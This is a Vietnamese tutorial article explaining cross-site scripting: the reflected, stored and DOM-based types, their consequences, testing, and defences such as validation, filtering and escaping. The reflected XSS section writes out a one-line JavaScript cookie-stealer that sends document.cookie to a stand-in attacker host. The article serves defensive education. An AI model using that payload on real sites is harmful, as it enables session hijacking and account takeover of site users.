XSS là gì? Tầm nguy hiểm và cách khắc phục lỗ hổng XSS
XSS là gì? Tầm nguy hiểm và cách khắc phục lỗ hổng XSS
XSS luôn được xem là nỗi đau đầu đối với dân IT hiện nay khi nhắc đến vấn đề lỗ hổng bảo mật. Vậy bạn đã hiểu rõ được cụ thể XSS là gì hay chưa? Làm sao để có thể bảo vệ hệ thống dữ liệu trước sự tấn công của XSS? Để có đáp án cho câu hỏi này bạn hãy cùng chúng tôi tìm đáp án cụ thể.
Lỗ hổng XSS là gì?
XSS là gì? Thực tế đây là từ được viết tắt từ cụm tiếng Anh Cross Site Scripting. Bản chất đây là một trong các loại tấn công bảo mật phổ biến và thường xuyên xảy ra nhất ở hệ thống web mà hầu hết các tester có kinh nghiệm đều biết đến.
XSS được đánh giá là một trong những loại tấn công bảo mật khá nguy hiểm đối với các ứng dụng web. Thậm chí nó còn được xem là có thể gây ra những hậu quả cực kỳ nghiêm trọng đối với hệ thống dữ liệu thông tin.
Hiểu một cách đơn giản hơn thì XSS là một đoạn mã độc mà Hacker chèn vào hệ thống. Cách thức mà Hacker sử dụng là thông qua các đoạn Script và thực thi ăn cắp thông tin ở phía Client. Trong đó hầu hết các cuộc tấn công được sử dụng để vượt qua các truy cập, mạo danh người dùng để lấy cắp thông tin.
Mục đích chính của quá trình tấn công chính là đánh cắp dữ liệu nhận dạng của người dùng. Bao gồm như Cookies, Session Tokens cùng các thông tin liên quan khác. Ở hầu hết các trường hợp tấn công này chủ yếu được sử dụng để ăn cắp Cookie của người khác. Mà như các bạn cũng biết Cookies giúp cho người dùng đăng nhập tự động. Do đó nếu như cookies bị đánh cắp đồng nghĩa với việc các hacker cũng có thể đăng nhập bằng thông tin nhận dạng khác vào hệ thống dư liệu. Chính vì thế đây được xem là cuộc tấn công nguy hiểm nhất ở những lỗ hổng hệ thống hiện nay.
Các cuộc tấn công XSS diễn ra như thế nào?
Tấn công XSS hiện nay đang được thực hiện ở phía Client. Kiểu tấn công này hoàn toàn có thể thực hiện với hầu hết các ngôn ngữ lập trình khác. Thế nhưng thường xuyên xảy ra nhất trong các cuộc tấn công vẫn là Javascript và HTML.Vậy cuộc tấn công diễn ra như thế nào?
Diễn biến cuộc tấn công
Nhìn chung cách tấn công này thực tế có thể thực hiện thông qua nhiều cách khác nhau. Trong đó chủ yếu phụ thuộc vào các loại tấn công XSS. Những mã độc có thể phản chiếu ở các trình duyệt hệ thống hoặc là lưu trữ trong cơ sở dữ liệu. Mã đọc này sẽ được vận hành một khi người dùng gọi chức năng thích hợp.
Nguyên nhân chính của tấn công này là xác thực đầu vào dữ liệu người dùng không phù hợp. Dữ liệu độc hại ở đầu vào có thể xâm lấn vào dữ liệu đầu ra. Mã độc có thể nhập một Script sau đó chèn vào mã nguồn website. Khi đó, trình duyệt của người dùng sẽ khó để biết mã thực thi có độc hay không. Vậy nên mã độc hại trong cuộc tấn công XSS có thể đang được thực thi trên trình duyệt nạn nhân hoặc thông qua bất cứ hình thức giả nào đang được hiển thị mà mọi người không biết.
Các hình thức tấn công cơ bản
Hiện nay trên thực tế có rất nhiều hình thức tấn công XSS có thể xuất hiện để đánh cắp thông tin, dữ liệu. Trong đó bạn có thể tham khảo một số hình thức phổ biến nhất của XSS như sau:
- Cuộc tấn công có thể xảy ra ở trên các lệnh độc hại đã được thực hiện ở Client
- Những trang web hay form giả mạo hiển thị cho người dùng. Cụ thể là những nơi mà người dùng nhập thông tin để đăng nhập hoặc là nhấp vào các liên kết đọc hại không rõ.
- Quảng cáo được hiển thị ở các trang web mà mọi người truy cập vào.
- Những email chứa thành phần độc hại gửi đến cho người dùng. Các cuộc tấn công XSS sẽ xảy ra một khi tin tặc tìm kiếm những lỗ hổng có Websie và gửi nó làm đầu vào độc hại Lúc này các tập lệnh độc hại sẽ tiêm vào mã lệnh và gửi đi dưới dạng đầu ra cho các đối tượng người dùng cuối cùng.
- …
Ví dụ cụ thể
Bạn có thể tìm hiểu chi tiết qua ví dụ phân tích cụ thể. Ví dụ chúng ta có 1 trang web với trường Search. Nếu trường Search là trường có lỗ hổng vậy thì khi người dùng nhập bất kỳ một đoạn Script thì có sẽ được thực thi.
Ví dụ như người dùng nhập đoạn Script đơn giản như hình đây. Một khi nhấn nút “Search” Script được nhập sẽ được thực hiện.
Như bạn có thể thấy trong ví dụ, Script đã nhập vào trường Search được thực thi. Điều này cho thấy lỗ hổng trong cuộc tấn công XSS. Thế nhưng một tập lệnh có hại hơn cũng được nhập. Nhiều Tester kết hợp tấn công Cross Site Scripting Javascrip Injection cũng được thực hiện ở Client. Trong cả 2, những Script tấn công độc hại sẽ được tiêm vào. Song trường hợp tấn công XSS các thẻ script không cần thiết để thực thi script.
3 Xu hướng tấn công XSS thường gặp
Như cũng đã nói trên cách tấn công của XSS phụ thuộc vào các loại tấn công cụ thể. Và theo như phân tích hiện nay XSS thực tế gồm 3 loại tấn công phổ biến. Vậy các loại tấn công XSS là gì? Chi tiết đã được phân tích như sau:
Tấn công Reflected XSS
Một thực tế cho thấy có rất nhiều hướng khác nhau để khai thác thông tin, dữ liệu thông qua lỗi Reflected XSS. Đây cũng là một trong số các cách được sử dụng phổ biến để chiếm phiên việc làm (Session) của người dùng. Thông qua đây các Hacker có thể truy cập được vào dữ liệu dễ dàng để chiếm quyền của người dùng trên các website. Chi tiết quá trình như sau:
- Người dùng sẽ đăng nhập vào trang web. Giả sử trang web được gán session như sau “Set-Cookie:sesld=5e2c648fa5ef8d653adeede585dcde6f638639e4e59d4”
- Bằng một cách nào đó, gửi đến cho người dùng một Url nhất định. Trong đó Url chứa tên website mà nạn nhân truy cập và phía sau kèm theo trang của hacker tạo ra với tên gọi là hacker-site.net. Ví dụ như https://abcd.com/……….=”http://hacker-site.net/
- Một khi người dùng nhập vào url được gửi, server hệ thống sẽ ngay lập tức phản hồi cho người dùng kèm theo những dữ liệu có trong đoạn Javascript của hacker.
- Lúc này trình duyệt của nạn nhân bắt đầu phản hồi và thực thi đoạn Javascript. Đoạn Javascript được hacker tạo ra đa phân sẽ có dạng như sau: var i =new Image;i.src=”http://hacker-site.net/” +document.cookie; Các dòng lệnh trên thực tế thực hiện request đến site hacker với tham số cookie người dùng.
- Cùng ở phía site của mình Hacker sẽ nắm bắt được những nội dung cụ thể mà bản thân request được ở trên. Vậy là xem như các session của người dùng đã bị chiếm đóng. Lúc này các hacker hoàn toàn có thể giả mạo tư cách người dùng để thực hiện quyền truy cập vào website mà người dùng đang có.
Tấn công Stored XSS
Không giống như cuộc tấn công Reflected XSS thực hiện công cuộc tấn công trực tiếp tới hệ thống của một người dùng mà hacker đã nhắn đến. Stored XSS là loại tấn công sẽ thực hiện trấn áp đến nhiều hệ thống người dùng. Lỗi này không hết sẽ xảy ra ở trường hợp ứng dụng web không được thực hiện kiểm tra kỹ lưỡng những dữ liệu đầu vào trước khi lưu vào cơ sở dữ liệu. Ví dụ như đối với những form góp ý hay các comment,…. xuất hiện trên website.
Diễn biến cuộc tấn công
Đối với loại tấn công Stored các hacker thực tế không thể khai thác trực tiếp mà phải tuân thủ tối thiểu qua 2 bước như sau:
Đầu tiên Hacker thông qua các điểm đầu vào như form, input, textarea,… không được thực hiện kiểm tra kỹ lưỡng để chèn vào các đoạn mã nguy hiểm.
Sau đó người dùng thực hiện lệnh truy cập vào các ứng dụng web. Một khi người dùng tiến hành những thao tác có liên quan đến dữ liệu được lưu này thì các đoạn mã của Hacker sẽ được thực thi. Quá trình thực thi sẽ được thực hiện trên trình duyệt của người dùng đang sử dụng.
So với Reflected XSS thì Stored XSS được đánh giá là nguy hiểm hơn rất nhiều. Đối tượng bị ảnh hưởng có thể là tất cả những người sử dụng ứng dụng web đó. Trong trường hợp nếu nạn nhân là quản trị viên thì còn có nguy cơ bị chiếm quyền vận hành web
Sự khác biệt của loại tấn công Stored XSS và Reflected XSS
Đối với hai loại tấn công này thực tế có 2 sự khác biệt lớn trong quá trình thực hiện tấn công xâm nhập dữ liệu. Chi tiết như sau:
- Các hacker để khai thác được Reflected XSS Thì phải lừa được người dùng truy cập vào đường dẫn mà mình đã gửi. Còn đối với Stored XSS không cần phải mất thời gian thao tác đó mà sau khi đã chèn được mã độc hại vào cơ sở dữ liệu ứng dụng hacker chỉ cần đời người dùng tự động truy cập. Đối với người dùng thì đây là việc hết sức bình thường bởi vì họ thực tế không biết việc dữ liệu của mình đã bị nhiễm mã độc.
- Hầu hết mục tiêu chính của hacker là làm cách nào để lấy được các dữ liệu thông tin. Trong đó mục tiêu này sẽ dễ dàng hơn nếu ở thời điểm tấn công người dùng trong quá trình làm việc của ứng dụng website. Đối với Reflected XSS thì hacker có thể thuyết phục, lừa người dùng đăng nhập rồi truy cập vào đường dẫn đã cung cấp. Tuy nhiên với Stored XSS thì khác. Bởi vì độc hại đã được lưu ở trong cơ sở dữ liệu website nên bất kỳ khi nào người dùng truy cập đều sẽ làm cho mã độc thực thi. Đồng thời có khả năng yêu cầu người dùng xác nhận trước khi đăng nhập. nhập
Tấn công DOM Based XSS
Một loại hình tấn công tới cơ sở dữ liệu có phổ biến không kém đó chính là DOM Based XSS. Vậy bản chất DOM Based XSS là gì? Đây được xem là kỹ thuật khai thác XSS dựa vào cơ sở thay đổi những cấu trúc DOM của tài liệu. Cụ thể chính là HTML.
Giả sử như một website có đường dẫn đăng ký và khi truy cập vào sẽ thấy một form bình thường. Lúc này người dùng sẽ không có chút nghi ngờ gì mà lựa chọn điền các thông tin như được yêu cầu. Thế nhưng Script sẽ ngay lập tức thực thi vào cơ sở dữ liệu, thông tin hệ thống đã bị hack. Chỉ cần mẹo đơn giản là áp dụng DOM Based XSS các hacker đã có thể nhanh chóng xâm nhập vào hệ thống để chiếm đoạt thông tin mà họ cần.
Vậy nên DOM Based XSS cũng được xếp vào dạng hình thức tấn công vô cùng nguy hiểm hiện nay. Chi tiết hơn bạn có thể tham khảo qua kịch bản tấn công được mô phỏng theo hình dưới đây.
Cách kiểm tra và ngăn chặn các đợt tấn công XSS
XSS thường xuyên tấn công người dùng dưới dạng âm thầm mà không hề hay biết. Thế nhưng bạn hoàn toàn có thể áp dụng các cách kiểm tra cụ thể hoặc sử dụng chiến thuật ngăn chặn các đợt tấn công. Vậy bạn còn chờ gì mà không nhanh tay ghi chép ngay cho mình các thông tin thiết yếu sau đây:
Cách phát hiện
Để có thể biết liệu các hacker có tấn công XSS vào hệ thống cơ sở dữ liệu hay không bạn hãy áp dụng cách kiểm tra thử hộp đen trước. Với cách này bạn có thể hiểu là chúng ta sẽ thực hiện test mà không cần xem xét đến code. Tất nhiên việc kiểm tra code luôn được các chuyên gia khuyến khích vì nó mang đến kết quả khả quan và đáng tin cậy hơn.
Trong quá trình kiểm tra thử, các tester nên nên xem xét những phần nào của website có nguy cơ bị tấn công bởi XSS. Bạn cũng nên liệt kê toàn bộ những nghi ngờ đó thành một tài liệu kiểm thử để giảm thiểu tình trạng bị thiếu sót. Sau đó, các tester hãy lập một bảng kế hoạch để xác định liệu Script nào thực sự cần thực hiện kiểm tra nhất. Trong đó điều quan trọng là kết quả liệu có ý nghĩa gì, ứng dụng ấy dễ bị lỗ hổng hay không và cần được phân tích kết quả sao cho kỹ càng nhất.
Trong khi thực hiện kiểm tra thử nghiệm các cuộc tấn công bạn cần lưu ý kiểm tra xem nó đáp ứng như thế nào đối với những kịch bạn đã nhập? Liệu các kịch bản ấy có đang được thực thi không?
Cách ngăn chặn
Có thể nhận định rằng XSS được xem là một dạng tấn công cơ sở dữ liệu khá nguy hiểm với nhiều rủi ro tiềm ẩn xảy ra nhất. Thế nhưng người dùng vẫn nên lập cho mình một kế hoạch cụ thể để ngăn ngừa tình trạng này xảy ra. Và thật may với độ phổ biến của các cuộc tấn công hiện đã có khá nhiều cách để ngăn chặn. Trong đó điển hình như Data Validation, Filtering, Escaping. Chi tiết như sau:
Xác thực đầu vào
Đặc biệt công tác phòng chống tấn công đầu tiên bạn cần thực hiện đó là xác thực đầu vào. tất cả những gì được nhập bởi người dùng phải được xác minh chính xác. Bởi vì đầu vào sẽ tác động trực tiếp đến đầu ra. Việc xác thực này có thể được đặt tên làm cơ sở dữ liệu đồng thời đảm bảo về tính bảo mật của hệ thống dữ liệu đó. Tuy nhiên bạn nên lưu ý việc này cũng chỉ góp phần làm giảm thiểu được những rủi ro chứ không thể ngăn chặn triệt để các lỗ hổng mà sự tấn công XSS gây ra.
Lọc đầu vào
Một cách nữa bạn cũng có thể áp dụng để ngăn chặn quá trình tấn công XSS là lọc đầu vào của người dùng. Cách này bạn có thể hiểu là thực hiện tìm kiếm những từ khóa nguy hiểm ở mục nhập của người dùng. Sau đó bạn đem xóa chúng hoặc thực hiện các thao tác thay thế bằng chuỗi trống. Các từ đó có thể sẽ là những thẻ như script hay lệnh javascript, đánh dấu HTML,…
Việc lọc đầu vào của người dùng này thực tế cũng dễ thực hiện. Bạn hoàn toàn có thể áp dụng khoa nhiều cách khác nhau như:
- Thực hiện bởi Developer đã viết mã phía server
- Thông qua hệ thống thư viện ngôn ngữ lập trình thích hợp mà người dùng đang sử dụng.
Trường hợp này nhìn chung một số Developer có thể viết mãi riêng của họ để tìm kiếm những từ khóa thích hợp và xóa chúng. Thế nhưng cách dễ dàng hơn mà các chuyên gia gợi ý là chọn thư viện ngôn ngữ lập trình thích hợp để lọc đầu vào. Đây được xem là cách đáng tin cậy vì các thư viện đó thực tế đã được nhiều nhà phát triển áp dụng và thử nghiệm.
Sử dụng các ký tự Escape
Ngoài ra để phòng ngừa quá trình tấn công của XSS bạn cũng có thể áp dụng các ký tự Escape. Và trong thực tế hiện nay thì đa phần những ký tự này đang được thay đổi bằng các mã đặc biệt. Ví dụ ký tự Escape giống như & # 60. Điều quan trọng là bạn làm sao để tìm kiếm các thư viện thích hợp với ký tự Escape.
Mức độ nguy hiểm của XSS với Javascript
Nhìn chung lỗ hổng bảo mật XSS được xem là ít nguy hiểm hơn so với lỗ hổng SQL Injection. Hậu quả của khả năng thực thi Javascript trên một nền tảng web ban đầu bạn nghĩ có vẻ không nghiêm trọng. Bởi vì hầu hết trình duyệt chạy Javascript trong môi trường được kiểm soát bảo mật chặt chẽ. Javascript bị giới hạn quyền truy cập tới hệ điều hành người dùng cùng các file dữ liệu người dùng. Mặc dù vậy nhưng Javascript vẫn có thể cực kỳ nguy hiểm nếu như nó bị lạm dụng trở thành các đoạn mã độc hại. Cụ thể như:
- Javascript độc hại có thể truy cập đến các đối tượng là phần còn lại của trang web có thể truy cập tới. Bao gồm cả việc truy cập tới Cookie người dùng. Nếu kẻ tấn công có được Session người dùng, họ có thể giả mạo danh tính người dùng thực sự. Sau đó họ thực hiện các hành động như xâm phạm dữ liệu nhạy cảm người dùng trên website đó.
- Javascript có thể đọc DOM và tạo ra các chỉnh sửa tùy ý.
- Javascript có thể sử dụng Object XMLHttRequest gửi truy vấn HTTP cùng các nội dung tùy ý tới các điểm đích.
- Javascript trong trình duyệt hiện đại có thể sử dụng HTML5 APIs. Điển hình như nó có thể truy cập đến vị trí của người dùng, webcam, microphone thậm chí là các file dữ liệu cụ thể ở hệ điều hành của người dùng. Hệ thống API đều yêu cầu cấp quyền truy cập từ người dùng nhưng những kẻ tấn công có thể dùng thêm các phương án như Social Engineering để tiến xa hơn.
XSS có phải vấn đề người dùng cần quan tâm?
Nếu một kẻ tấn công lạm dụng lỗ hổng XSS trên bất kỳ trang web nào để thực thi mã Javascript tùy ý ở trình duyệt người dùng thì ứng dụng đó và người dùng đều bị xâm hại. XSS không phải là vấn đề của người dùng tương tự như những lỗ hổng bảo mật khác. Nếu nó tác động đến người dùng của bạn thì nó ảnh hưởng tới bạn.
Cross-site Scripting cũng được sử dụng để deface website thay vì nhắm đến mục tiêu người dùng. Kẻ tấn công dùng những đoạn mã injection để thay đổi nội dung của trang web hoặc thậm chí chuyển hướng trình duyệt người dùng tới một website khác.
Trên đây là thông tin chi tiết giúp bạn giải đáp thắc mắc những vấn đề xung quanh về XSS. Hy vọng rằng qua đó bạn sẽ hiểu và áp dụng một cách hiểu quả những kiến thức gợi ý vào công việc trong thực tế để ngăn chặn sự tấn công từ XSS.